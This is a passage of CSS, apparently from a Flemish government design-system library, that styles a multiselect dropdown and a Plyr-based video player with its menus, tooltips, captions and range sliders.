        font-size: 14px;
        min-height: 35px;
        padding: 6px 45px 0 6px
      }

      .vl-multiselect .multiselect__tag {
        background: #fff;
        border: 1px solid #8695a8;
        border-radius: .3rem;
        color: #333332;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.4rem;
        font-weight: 500;
        line-height: 1;
        margin-bottom: 5px;
        margin-right: 6px;
        max-width: 100%;
        padding: 4px 30px 4px 10px;
        position: relative;
        text-overflow: ellipsis;
        transition: color .2s, background-color .2s, box-shadow .2s;
        vertical-align: middle;
        white-space: nowrap
      }

      .vl-multiselect .multiselect__tag-icon {
        border-bottom-right-radius: .3rem;
        border-left: 1px solid #8695a8;
        border-top-right-radius: .3rem;
        bottom: 0;
        color: #05c;
        cursor: pointer;
        font-size: .8rem;
        font-style: normal;
        font-weight: 700;
        line-height: 22px;
        margin-left: 1.4rem;
        position: absolute;
        right: 0;
        text-align: center;
        top: 0;
        transition: background-color .2s ease;
        width: 22px
      }

      .vl-multiselect .multiselect__tag-icon:after,
      .vl-multiselect .multiselect__tag-icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-multiselect .multiselect__tag-icon:before {
        content: ""
      }

      .vl-multiselect .multiselect__tag-icon:hover {
        background-color: #e6eefa;
        border: .1rem solid #05c;
        bottom: -.1rem;
        box-shadow: inset 0 0 0 .1rem #05c;
        color: #004ab3;
        margin-left: 1.2rem;
        right: -.1rem;
        top: -.1rem;
        width: 22px
      }

      .vl-multiselect .multiselect__tag-icon:focus {
        border: .1rem solid #05c;
        bottom: -.1rem;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65), inset 0 0 0 .1rem #05c;
        margin-left: 1.3rem;
        outline: .2rem solid transparent;
        right: -.1rem;
        top: -.1rem;
        width: 22px
      }

      .vl-multiselect .multiselect__current {
        border: 1px solid #e8ebee;
        border-radius: 5px;
        min-height: 40px;
        overflow: hidden;
        padding: 8px 30px 0 12px;
        white-space: nowrap
      }

      .vl-multiselect .multiselect__current,
      .vl-multiselect .multiselect__select {
        box-sizing: border-box;
        cursor: pointer;
        display: block;
        line-height: 16px;
        margin: 0;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-multiselect .multiselect__select {
        height: 100%;
        padding: 4px 8px;
        position: absolute;
        right: 0;
        text-align: center;
        top: 0;
        transition: transform .2s ease;
        width: 40px
      }

      .vl-multiselect .multiselect__select:before {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        background-image: url("");
        background-position: calc(100% - 1.5rem);
        background-repeat: no-repeat;
        background-size: 9px 5px;
        bottom: 0;
        content: "";
        display: block;
        position: absolute;
        right: 0;
        top: 0;
        width: 100%
      }

      .vl-multiselect .multiselect__placeholder {
        color: #687483;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        max-width: 100%;
        overflow: hidden;
        padding: 0 0 0 5px;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .multiselect--active .vl-multiselect .multiselect__placeholder {
        display: none
      }

      .vl-multiselect .multiselect__content-wrapper {
        background: #fff;
        border: 1px solid #8695a8;
        border-bottom-left-radius: .3rem;
        border-bottom-right-radius: .3rem;
        border-top: 0;
        display: block;
        max-height: 240px;
        overflow: auto;
        position: absolute;
        width: 100%;
        z-index: 1;
        -webkit-overflow-scrolling: touch
      }

      .vl-multiselect .multiselect__content {
        display: inline-block;
        list-style: none;
        margin: -1px 0;
        min-width: 100%;
        padding: 0;
        vertical-align: top
      }

      .vl-multiselect .multiselect__content::webkit-scrollbar {
        display: none
      }

      .vl-multiselect .multiselect--above .multiselect__content-wrapper {
        border-bottom: none;
        border-bottom-left-radius: 0;
        border-bottom-right-radius: 0;
        border-top: 1px solid #f7f9fc;
        border-top-left-radius: 5px;
        border-top-right-radius: 5px;
        bottom: 100%
      }

      .vl-multiselect .multiselect__element {
        display: block
      }

      .vl-multiselect .multiselect__element:hover .multiselect__option {
        border-bottom: 1px solid rgba(179, 207, 245, .3);
        border-top: 1px solid rgba(179, 207, 245, .3);
        box-shadow: 0 2px 0 #a1beec, 0 -2px 0 #a1beec;
        position: relative;
        z-index: 2
      }

      .vl-multiselect .multiselect__element:hover .multiselect__option--disabled {
        box-shadow: none
      }

      .vl-multiselect .multiselect__option {
        border-bottom: 1px solid #f7f9fc;
        border-top: 1px solid transparent;
        cursor: pointer;
        display: block;
        line-height: 16px;
        min-height: 40px;
        padding: 12px 12px 12px 40px;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none;
        white-space: nowrap
      }

      .vl-multiselect .multiselect__option:before {
        content: "";
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        display: none;
        font-feature-settings: normal;
        font-size: 12px;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        left: 0;
        position: absolute;
        text-align: center;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none;
        width: 40px
      }

      .vl-multiselect .multiselect__option:after {
        display: none;
        font-size: 13px;
        line-height: 40px;
        padding-left: 20px;
        padding-right: 12px;
        position: absolute;
        right: 0;
        top: 0
      }

      .vl-multiselect .multiselect__option--highlight {
        background: rgba(179, 207, 245, .3);
        color: #333332;
        outline: none
      }

      .vl-multiselect .multiselect__option--highlight:after {
        color: #333332;
        content: attr(data-select)
      }

      .vl-multiselect .multiselect__option--selected {
        background: #fff
      }

      .vl-multiselect .multiselect__option--selected.multiselect__option--highlight {
        background: rgba(179, 207, 245, .3);
        color: #333332;
        outline: none
      }

      .vl-multiselect .multiselect__option--selected:before {
        display: block
      }

      .vl-multiselect .multiselect__option--selected:after {
        color: #333332;
        content: attr(data-selected)
      }

      .vl-multiselect .multiselect__option--disabled {
        background: #e8ebee;
        color: #b2b2b2;
        cursor: text;
        pointer-events: none
      }

      .vl-multiselect .multiselect__option--disabled.multiselect__option--highlight {
        background: #d3d9e0
      }

      .vl-multiselect .multiselect__option--group {
        background: #687483;
        color: #fff
      }

      .vl-multiselect .multiselect__option--group.multiselect__option--highlight {
        background: #5d6775;
        color: #fff
      }

      .vl-multiselect .multiselect__option--group.multiselect__option--highlight:after {
        background: #5d6775;
        color: #fff;
        content: attr(data-select);
        display: block
      }

      .vl-multiselect .multiselect__option--group-selected.multiselect__option--highlight {
        background: #515b67;
        color: #fff
      }

      .vl-multiselect .multiselect__option--group-selected.multiselect__option--highlight:after {
        background: #515b67;
        color: #fff;
        content: attr(data-deselect);
        display: block
      }

      .vl-multiselect .multiselect__strong {
        display: inline-block;
        line-height: 20px;
        margin-bottom: 8px;
        vertical-align: top
      }

      .vl-multiselect [dir=rtl] .multiselect {
        text-align: right
      }

      .vl-multiselect [dir=rtl] .multiselect__select {
        left: 1px;
        right: auto
      }

      .vl-multiselect [dir=rtl] .multiselect__tags {
        padding: 8px 8px 0 40px
      }

      .vl-multiselect [dir=rtl] .multiselect__content {
        text-align: right
      }

      .vl-multiselect [dir=rtl] .multiselect__option:after {
        left: 0;
        right: auto
      }

      .vl-multiselect [dir=rtl] .multiselect__clear {
        left: 12px;
        right: auto
      }

      .vl-multiselect--error .multiselect__current,
      .vl-multiselect--error .multiselect__tags,
      .vl-multiselect.invalid.validated .multiselect__current,
      .vl-multiselect.invalid.validated .multiselect__tags {
        background-color: #fbebec;
        border-color: #d2373c
      }

      .vl-multiselect--success .multiselect__current,
      .vl-multiselect--success .multiselect__tags,
      .vl-multiselect.valid.validated .multiselect__current,
      .vl-multiselect.valid.validated .multiselect__tags {
        background-color: #e6f5ed;
        border-color: #009e47
      }

      @keyframes plyr-progress {
        to {
          background-position: 25px 0;
          background-position: var(--plyr-progress-loading-size, 25px) 0
        }
      }

      @keyframes plyr-popup {
        0% {
          opacity: .5;
          transform: translateY(10px)
        }

        to {
          opacity: 1;
          transform: translateY(0)
        }
      }

      @keyframes plyr-fade-in {
        0% {
          opacity: 0
        }

        to {
          opacity: 1
        }
      }

      .vl-video-player .plyr {
        -moz-osx-font-smoothing: grayscale;
        -webkit-font-smoothing: antialiased;
        align-items: center;
        direction: ltr;
        display: flex;
        flex-direction: column;
        font-family: inherit;
        font-feature-settings: "tnum";
        font-variant-numeric: tabular-nums;
        font-weight: 400;
        font-weight: var(--plyr-font-weight-regular, 400);
        line-height: 1.7;
        line-height: var(--plyr-line-height, 1.7);
        max-width: 100%;
        min-width: 200px;
        position: relative;
        text-shadow: none;
        transition: box-shadow .3s ease;
        z-index: 0
      }

      .vl-video-player .plyr audio,
      .vl-video-player .plyr iframe,
      .vl-video-player .plyr video {
        display: block;
        height: 100%;
        width: 100%
      }

      .vl-video-player .plyr button {
        font: inherit;
        line-height: inherit;
        width: auto
      }

      .vl-video-player .plyr:focus {
        outline: 0
      }

      .vl-video-player .plyr--full-ui {
        box-sizing: border-box
      }

      .vl-video-player .plyr--full-ui *,
      .vl-video-player .plyr--full-ui :after,
      .vl-video-player .plyr--full-ui :before {
        box-sizing: inherit
      }

      .vl-video-player .plyr--full-ui a,
      .vl-video-player .plyr--full-ui button,
      .vl-video-player .plyr--full-ui input,
      .vl-video-player .plyr--full-ui label {
        touch-action: manipulation
      }

      .vl-video-player .plyr__badge {
        background: #4a5464;
        background: var(--plyr-badge-background, #4a5464);
        border-radius: 2px;
        border-radius: var(--plyr-badge-border-radius, 2px);
        color: #fff;
        color: var(--plyr-badge-text-color, #fff);
        font-size: 9px;
        font-size: var(--plyr-font-size-badge, 9px);
        line-height: 1;
        padding: 3px 4px
      }

      .vl-video-player .plyr--full-ui ::-webkit-media-text-track-container {
        display: none
      }

      .vl-video-player .plyr__captions {
        animation: plyr-fade-in .3s ease;
        bottom: 0;
        display: none;
        font-size: 13px;
        font-size: var(--plyr-font-size-small, 13px);
        left: 0;
        padding: 15px;
        position: absolute;
        text-align: center;
        transition: transform .4s ease-in-out;
        width: 100%
      }

      .vl-video-player .plyr__captions span:empty {
        display: none
      }

      @media(min-width:480px) {
        .vl-video-player .plyr__captions {
          font-size: 15px;
          font-size: var(--plyr-font-size-base, 15px);
          padding: 30px
        }
      }

      @media(min-width:768px) {
        .vl-video-player .plyr__captions {
          font-size: 18px;
          font-size: var(--plyr-font-size-large, 18px)
        }
      }

      .vl-video-player .plyr--captions-active .plyr__captions {
        display: block
      }

      .vl-video-player .plyr:not(.plyr--hide-controls) .plyr__controls:not(:empty)~.plyr__captions {
        transform: translateY(-60px)
      }

      .vl-video-player .plyr__caption {
        background: rgba(0, 0, 0, .8);
        background: var(--plyr-captions-background, rgba(0, 0, 0, .8));
        border-radius: 2px;
        -webkit-box-decoration-break: clone;
        box-decoration-break: clone;
        color: #fff;
        color: var(--plyr-captions-text-color, #fff);
        line-height: 185%;
        padding: .2em .5em;
        white-space: pre-wrap
      }

      .vl-video-player .plyr__caption div {
        display: inline
      }

      .vl-video-player .plyr__control {
        background: transparent;
        border: 0;
        border-radius: 3px;
        border-radius: var(--plyr-control-radius, 3px);
        color: inherit;
        cursor: pointer;
        flex-shrink: 0;
        overflow: visible;
        padding: 10.5px;
        position: relative;
        transition: all .3s ease
      }

      .vl-video-player .plyr__control svg {
        display: block;
        fill: currentColor;
        height: 18px;
        height: var(--plyr-control-icon-size, 18px);
        pointer-events: none;
        width: 18px;
        width: var(--plyr-control-icon-size, 18px)
      }

      .vl-video-player .plyr__control:focus {
        outline: 0
      }

      .vl-video-player .plyr__control.plyr__tab-focus {
        outline-color: #05c;
        outline-color: var(--plyr-tab-focus-color, var(--plyr-color-main, #05c));
        outline-offset: 2px;
        outline-style: dotted;
        outline-width: 3px
      }

      .vl-video-player a.plyr__control {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-video-player .plyr__control.plyr__control--pressed .icon--not-pressed,
      .vl-video-player .plyr__control.plyr__control--pressed .label--not-pressed,
      .vl-video-player .plyr__control:not(.plyr__control--pressed) .icon--pressed,
      .vl-video-player .plyr__control:not(.plyr__control--pressed) .label--pressed,
      .vl-video-player a.plyr__control:after,
      .vl-video-player a.plyr__control:before {
        display: none
      }

      .vl-video-player .plyr--full-ui ::-webkit-media-controls {
        display: none
      }

      .vl-video-player .plyr__controls {
        align-items: center;
        display: flex;
        justify-content: flex-end;
        text-align: center
      }

      .vl-video-player .plyr__controls .plyr__progress__container {
        flex: 1;
        min-width: 0
      }

      .vl-video-player .plyr__controls .plyr__controls__item {
        margin-left: 3.75px
      }

      .vl-video-player .plyr__controls .plyr__controls__item:first-child {
        margin-left: 0;
        margin-right: auto
      }

      .vl-video-player .plyr__controls .plyr__controls__item.plyr__progress__container {
        padding-left: 3.75px
      }

      .vl-video-player .plyr__controls .plyr__controls__item.plyr__time {
        padding: 0 7.5px
      }

      .vl-video-player .plyr__controls .plyr__controls__item.plyr__progress__container:first-child,
      .vl-video-player .plyr__controls .plyr__controls__item.plyr__time+.plyr__time,
      .vl-video-player .plyr__controls .plyr__controls__item.plyr__time:first-child {
        padding-left: 0
      }

      .vl-video-player .plyr [data-plyr=airplay],
      .vl-video-player .plyr [data-plyr=captions],
      .vl-video-player .plyr [data-plyr=fullscreen],
      .vl-video-player .plyr [data-plyr=pip],
      .vl-video-player .plyr__controls:empty {
        display: none
      }

      .vl-video-player .plyr--airplay-supported [data-plyr=airplay],
      .vl-video-player .plyr--captions-enabled [data-plyr=captions],
      .vl-video-player .plyr--fullscreen-enabled [data-plyr=fullscreen],
      .vl-video-player .plyr--pip-supported [data-plyr=pip] {
        display: inline-block
      }

      .vl-video-player .plyr__menu {
        display: flex;
        position: relative
      }

      .vl-video-player .plyr__menu .plyr__control svg {
        transition: transform .3s ease
      }

      .vl-video-player .plyr__menu .plyr__control[aria-expanded=true] svg {
        transform: rotate(90deg)
      }

      .vl-video-player .plyr__menu .plyr__control[aria-expanded=true] .plyr__tooltip {
        display: none
      }

      .vl-video-player .plyr__menu__container {
        animation: plyr-popup .2s ease;
        background: hsla(0, 0%, 100%, .9);
        background: var(--plyr-menu-background, hsla(0, 0%, 100%, .9));
        border-radius: 4px;
        bottom: 100%;
        box-shadow: 0 1px 2px rgba(0, 0, 0, .15);
        box-shadow: var(--plyr-menu-shadow, 0 1px 2px rgba(0, 0, 0, .15));
        color: #4a5464;
        color: var(--plyr-menu-color, #4a5464);
        font-size: 15px;
        font-size: var(--plyr-font-size-base, 15px);
        margin-bottom: 10px;
        position: absolute;
        right: -3px;
        text-align: left;
        white-space: nowrap;
        z-index: 3
      }

      .vl-video-player .plyr__menu__container>div {
        overflow: hidden;
        transition: height .35s cubic-bezier(.4, 0, .2, 1), width .35s cubic-bezier(.4, 0, .2, 1)
      }

      .vl-video-player .plyr__menu__container:after {
        border: 4px solid transparent;
        border-top-color: hsla(0, 0%, 100%, .9);
        border: var(--plyr-menu-arrow-size, 4px) solid transparent;
        border-top-color: var(--plyr-menu-background, hsla(0, 0%, 100%, .9));
        content: "";
        height: 0;
        position: absolute;
        right: 17.5px;
        right: calc(var(--plyr-control-icon-size, 18px)/2 + 10.5px - var(--plyr-menu-arrow-size, 4px)/2);
        top: 100%;
        width: 0
      }

      .vl-video-player .plyr__menu__container [role=menu] {
        padding: 10.5px
      }

      .vl-video-player .plyr__menu__container [role=menuitem],
      .vl-video-player .plyr__menu__container [role=menuitemradio] {
        margin-top: 2px
      }

      .vl-video-player .plyr__menu__container [role=menuitem]:first-child,
      .vl-video-player .plyr__menu__container [role=menuitemradio]:first-child {
        margin-top: 0
      }

      .vl-video-player .plyr__menu__container .plyr__control {
        align-items: center;
        color: #4a5464;
        color: var(--plyr-menu-color, #4a5464);
        display: flex;
        font-size: 13px;
        font-size: var(--plyr-font-size-menu, var(--plyr-font-size-small, 13px));
        padding: 7px 15.75px;
        -webkit-user-select: none;
        -moz-user-select: none;
        user-select: none;
        width: 100%
      }

      .vl-video-player .plyr__menu__container .plyr__control>span {
        align-items: inherit;
        display: flex;
        width: 100%
      }

      .vl-video-player .plyr__menu__container .plyr__control:after {
        border: 4px solid transparent;
        border: var(--plyr-menu-item-arrow-size, 4px) solid transparent;
        content: "";
        position: absolute;
        top: 50%;
        transform: translateY(-50%)
      }

      .vl-video-player .plyr__menu__container .plyr__control--forward {
        padding-right: 42px
      }

      .vl-video-player .plyr__menu__container .plyr__control--forward:after {
        border-left-color: #728197;
        border-left-color: var(--plyr-menu-arrow-color, #728197);
        right: 11.75px;
        right: calc(15.75px - var(--plyr-menu-item-arrow-size, 4px))
      }

      .vl-video-player .plyr__menu__container .plyr__control--forward.plyr__tab-focus:after,
      .vl-video-player .plyr__menu__container .plyr__control--forward:hover:after {
        border-left-color: currentColor
      }

      .vl-video-player .plyr__menu__container .plyr__control--back {
        font-weight: 400;
        font-weight: var(--plyr-font-weight-regular, 400);
        margin: 10.5px 10.5px 5.25px;
        padding-left: 42px;
        position: relative;
        width: calc(100% - 21px)
      }

      .vl-video-player .plyr__menu__container .plyr__control--back:after {
        border-right-color: #728197;
        border-right-color: var(--plyr-menu-arrow-color, #728197);
        left: 11.75px;
        left: calc(15.75px - var(--plyr-menu-item-arrow-size, 4px))
      }

      .vl-video-player .plyr__menu__container .plyr__control--back:before {
        background: #dcdfe5;
        background: var(--plyr-menu-back-border-color, #dcdfe5);
        box-shadow: 0 1px 0 #fff;
        box-shadow: 0 1px 0 var(--plyr-menu-back-border-shadow-color, #fff);
        content: "";
        height: 1px;
        left: 0;
        margin-top: 5.25px;
        overflow: hidden;
        position: absolute;
        right: 0;
        top: 100%
      }

      .vl-video-player .plyr__menu__container .plyr__control--back.plyr__tab-focus:after,
      .vl-video-player .plyr__menu__container .plyr__control--back:hover:after {
        border-right-color: currentColor
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio] {
        padding-left: 10.5px
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio]:after,
      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio]:before {
        border-radius: 100%
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio]:before {
        background: rgba(0, 0, 0, .1);
        content: "";
        display: block;
        flex-shrink: 0;
        height: 16px;
        margin-right: 15px;
        transition: all .3s ease;
        width: 16px
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio]:after {
        background: #fff;
        border: 0;
        height: 6px;
        left: 12px;
        opacity: 0;
        top: 50%;
        transform: translateY(-50%) scale(0);
        transition: transform .3s ease, opacity .3s ease;
        width: 6px
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]:before {
        background: #05c;
        background: var(--plyr-control-toggle-checked-background, var(--plyr-color-main, #05c))
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]:after {
        opacity: 1;
        transform: translateY(-50%) scale(1)
      }

      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio].plyr__tab-focus:before,
      .vl-video-player .plyr__menu__container .plyr__control[role=menuitemradio]:hover:before {
        background: rgba(35, 40, 47, .1)
      }

      .vl-video-player .plyr__menu__container .plyr__menu__value {
        align-items: center;
        display: flex;
        margin-left: auto;
        margin-right: calc(-10.5px - -2);
        overflow: hidden;
        padding-left: 36.75px;
        pointer-events: none
      }

      .vl-video-player .plyr--full-ui input[type=range] {
        -webkit-appearance: none;
        background: transparent;
        border: 0;
        border-radius: 26px;
        border-radius: calc(var(--plyr-range-thumb-height, 13px)*2);
        color: #05c;
        color: var(--plyr-range-fill-background, var(--plyr-color-main, #05c));
        display: block;
        height: 19px;
        height: calc(var(--plyr-range-thumb-active-shadow-width, 3px)*2 + var(--plyr-range-thumb-height, 13px));
        margin: 0;
        min-width: 0;
        padding: 0;
        transition: box-shadow .3s ease;
        width: 100%
      }

      .vl-video-player .plyr--full-ui input[type=range]::-webkit-slider-runnable-track {
        background: transparent;
        background-image: linear-gradient(90deg, currentColor 0, transparent 0);
        background-image: linear-gradient(to right, currentColor var(--value, 0), transparent var(--value, 0));
        border: 0;
        border-radius: 2.5px;
        border-radius: calc(var(--plyr-range-track-height, 5px)/2);
        height: 5px;
        height: var(--plyr-range-track-height, 5px);
        -webkit-transition: box-shadow .3s ease;
        transition: box-shadow .3s ease;
        -webkit-user-select: none;
        user-select: none
      }

      .vl-video-player .plyr--full-ui input[type=range]::-webkit-slider-thumb {
        -webkit-appearance: none;
        background: #fff;
        background: var(--plyr-range-thumb-background, #fff);
        border: 0;
        border-radius: 100%;
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2));
        height: 13px;
        height: var(--plyr-range-thumb-height, 13px);
        margin-top: -4px;
        margin-top: calc((var(--plyr-range-thumb-height, 13px) - var(--plyr-range-track-height, 5px))/2*-1);
        position: relative;
        -webkit-transition: all .2s ease;
        transition: all .2s ease;
        width: 13px;
        width: var(--plyr-range-thumb-height, 13px)
      }

      .vl-video-player .plyr--full-ui input[type=range]::-moz-range-track {
        background: transparent;
        border: 0;
        border-radius: 2.5px;
        border-radius: calc(var(--plyr-range-track-height, 5px)/2);
        height: 5px;
        height: var(--plyr-range-track-height, 5px);
        -moz-transition: box-shadow .3s ease;
        transition: box-shadow .3s ease;
        -moz-user-select: none;
        user-select: none
      }

      .vl-video-player .plyr--full-ui input[type=range]::-moz-range-thumb {
        background: #fff;
        background: var(--plyr-range-thumb-background, #fff);
        border: 0;
        border-radius: 100%;
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2));
        height: 13px;
        height: var(--plyr-range-thumb-height, 13px);
        position: relative;
        -moz-transition: all .2s ease;
        transition: all .2s ease;
        width: 13px;
        width: var(--plyr-range-thumb-height, 13px)
      }

      .vl-video-player .plyr--full-ui input[type=range]::-moz-range-progress {
        background: currentColor;
        border-radius: 2.5px;
        border-radius: calc(var(--plyr-range-track-height, 5px)/2);
        height: 5px;
        height: var(--plyr-range-track-height, 5px)
      }

      .vl-video-player .plyr--full-ui input[type=range]::-ms-track {
        color: transparent
      }

      .vl-video-player .plyr--full-ui input[type=range]::-ms-fill-upper,
      .vl-video-player .plyr--full-ui input[type=range]::-ms-track {
        background: transparent;
        border: 0;
        border-radius: 2.5px;
        border-radius: calc(var(--plyr-range-track-height, 5px)/2);
        height: 5px;
        height: var(--plyr-range-track-height, 5px);
        -ms-transition: box-shadow .3s ease;
        transition: box-shadow .3s ease;
        user-select: none
      }

      .vl-video-player .plyr--full-ui input[type=range]::-ms-fill-lower {
        background: transparent;
        background: currentColor;
        border: 0;
        border-radius: 2.5px;
        border-radius: calc(var(--plyr-range-track-height, 5px)/2);
        height: 5px;
        height: var(--plyr-range-track-height, 5px);
        -ms-transition: box-shadow .3s ease;
        transition: box-shadow .3s ease;
        user-select: none
      }

      .vl-video-player .plyr--full-ui input[type=range]::-ms-thumb {
        background: #fff;
        background: var(--plyr-range-thumb-background, #fff);
        border: 0;
        border-radius: 100%;
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2));
        height: 13px;
        height: var(--plyr-range-thumb-height, 13px);
        margin-top: 0;
        position: relative;
        -ms-transition: all .2s ease;
        transition: all .2s ease;
        width: 13px;
        width: var(--plyr-range-thumb-height, 13px)
      }

      .vl-video-player .plyr--full-ui input[type=range]::-ms-tooltip {
        display: none
      }

      .vl-video-player .plyr--full-ui input[type=range]:focus {
        outline: 0
      }

      .vl-video-player .plyr--full-ui input[type=range]::-moz-focus-outer {
        border: 0
      }

      .vl-video-player .plyr--full-ui input[type=range].plyr__tab-focus::-webkit-slider-runnable-track {
        outline-color: #05c;
        outline-color: var(--plyr-tab-focus-color, var(--plyr-color-main, #05c));
        outline-offset: 2px;
        outline-style: dotted;
        outline-width: 3px
      }

      .vl-video-player .plyr--full-ui input[type=range].plyr__tab-focus::-moz-range-track {
        outline-color: #05c;
        outline-color: var(--plyr-tab-focus-color, var(--plyr-color-main, #05c));
        outline-offset: 2px;
        outline-style: dotted;
        outline-width: 3px
      }

      .vl-video-player .plyr--full-ui input[type=range].plyr__tab-focus::-ms-track {
        outline-color: #05c;
        outline-color: var(--plyr-tab-focus-color, var(--plyr-color-main, #05c));
        outline-offset: 2px;
        outline-style: dotted;
        outline-width: 3px
      }

      .vl-video-player .plyr__poster {
        background-color: #000;
        background-color: var(--plyr-video-background, var(--plyr-video-background, #000));
        background-position: 50% 50%;
        background-repeat: no-repeat;
        background-size: contain;
        height: 100%;
        left: 0;
        opacity: 0;
        position: absolute;
        top: 0;
        transition: opacity .2s ease;
        width: 100%;
        z-index: 1
      }

      .vl-video-player .plyr--stopped.plyr__poster-enabled .plyr__poster {
        opacity: 1
      }

      .vl-video-player .plyr--youtube.plyr--paused.plyr__poster-enabled:not(.plyr--stopped) .plyr__poster {
        display: none
      }

      .vl-video-player .plyr__time {
        font-size: 13px;
        font-size: var(--plyr-font-size-time, var(--plyr-font-size-small, 13px))
      }

      .vl-video-player .plyr__time+.plyr__time:before {
        content: "⁄";
        margin-right: 15px
      }

      @media(max-width:767px) {
        .vl-video-player .plyr__time+.plyr__time {
          display: none
        }
      }

      .vl-video-player .plyr__tooltip {
        background: hsla(0, 0%, 100%, .9);
        background: var(--plyr-tooltip-background, hsla(0, 0%, 100%, .9));
        border-radius: 0;
        bottom: 100%;
        box-shadow: 0 1px 2px rgba(0, 0, 0, .15);
        box-shadow: var(--plyr-tooltip-shadow, 0 1px 2px rgba(0, 0, 0, .15));
        color: #333332;
        font-size: 13px;
        font-size: var(--plyr-font-size-small, 13px);
        font-weight: 400;
        font-weight: var(--plyr-font-weight-regular, 400);
        left: 50%;
        line-height: 1.3;
        margin-bottom: 15px;
        opacity: 0;
        padding: 7.5px 11.25px;
        pointer-events: none;
        position: absolute;
        transform: translate(-50%, 10px) scale(.8);
        transform-origin: 50% 100%;
        transition: transform .2s ease .1s, opacity .2s ease .1s;
        white-space: nowrap;
        z-index: 2
      }

      .vl-video-player .plyr__tooltip:before {
        border-left: 6px solid transparent;
        border-right: 6px solid transparent;
        border-top: 6px solid hsla(0, 0%, 100%, .9);
        border-top: 6px solid var(--plyr-tooltip-background, hsla(0, 0%, 100%, .9));
        bottom: -6px;
        content: "";
        height: 0;
        left: 50%;
        position: absolute;
        transform: translateX(-50%);
        width: 0;
        z-index: 2
      }

      .vl-video-player .plyr .plyr__control.plyr__tab-focus .plyr__tooltip,
      .vl-video-player .plyr .plyr__control:hover .plyr__tooltip,
      .vl-video-player .plyr__tooltip--visible {
        opacity: 1;
        transform: translate(-50%) scale(1)
      }

      .vl-video-player .plyr .plyr__control:hover .plyr__tooltip {
        z-index: 3
      }

      .vl-video-player .plyr__controls>.plyr__control:first-child .plyr__tooltip,
      .vl-video-player .plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip {
        left: 0;
        transform: translateY(10px) scale(.8);
        transform-origin: 0 100%
      }

      .vl-video-player .plyr__controls>.plyr__control:first-child .plyr__tooltip:before,
      .vl-video-player .plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip:before {
        left: 19.5px;
        left: calc(var(--plyr-control-icon-size, 18px)/2 + 10.5px)
      }

      .vl-video-player .plyr__controls>.plyr__control:last-child .plyr__tooltip {
        left: auto;
        right: 0;
        transform: translateY(10px) scale(.8);
        transform-origin: 100% 100%
      }

      .vl-video-player .plyr__controls>.plyr__control:last-child .plyr__tooltip:before {
        left: auto;
        right: 19.5px;
        right: calc(var(--plyr-control-icon-size, 18px)/2 + 10.5px);
        transform: translateX(50%)
      }

      .vl-video-player .plyr__controls>.plyr__control:first-child .plyr__tooltip--visible,
      .vl-video-player .plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip--visible,
      .vl-video-player .plyr__controls>.plyr__control:first-child+.plyr__control.plyr__tab-focus .plyr__tooltip,
      .vl-video-player .plyr__controls>.plyr__control:first-child+.plyr__control:hover .plyr__tooltip,
      .vl-video-player .plyr__controls>.plyr__control:first-child.plyr__tab-focus .plyr__tooltip,
      .vl-video-player .plyr__controls>.plyr__control:first-child:hover .plyr__tooltip,
      .vl-video-player .plyr__controls>.plyr__control:last-child .plyr__tooltip--visible,
      .vl-video-player .plyr__controls>.plyr__control:last-child.plyr__tab-focus .plyr__tooltip,
      .vl-video-player .plyr__controls>.plyr__control:last-child:hover .plyr__tooltip {
        transform: translate(0) scale(1)
      }

      .vl-video-player .plyr__progress {
        left: 6.5px;
        left: calc(var(--plyr-range-thumb-height, 13px)*.5);
        margin-right: 13px;
        margin-right: var(--plyr-range-thumb-height, 13px);
        position: relative
      }

      .vl-video-player .plyr__progress input[type=range],
      .vl-video-player .plyr__progress__buffer {
        margin-left: -6.5px;
        margin-left: calc(var(--plyr-range-thumb-height, 13px)*-.5);
        margin-right: -6.5px;
        margin-right: calc(var(--plyr-range-thumb-height, 13px)*-.5);
        width: calc(100% + 13px);
        width: calc(100% + var(--plyr-range-thumb-height, 13px))
      }

      .vl-video-player .plyr__progress input[type=range] {
        position: relative;
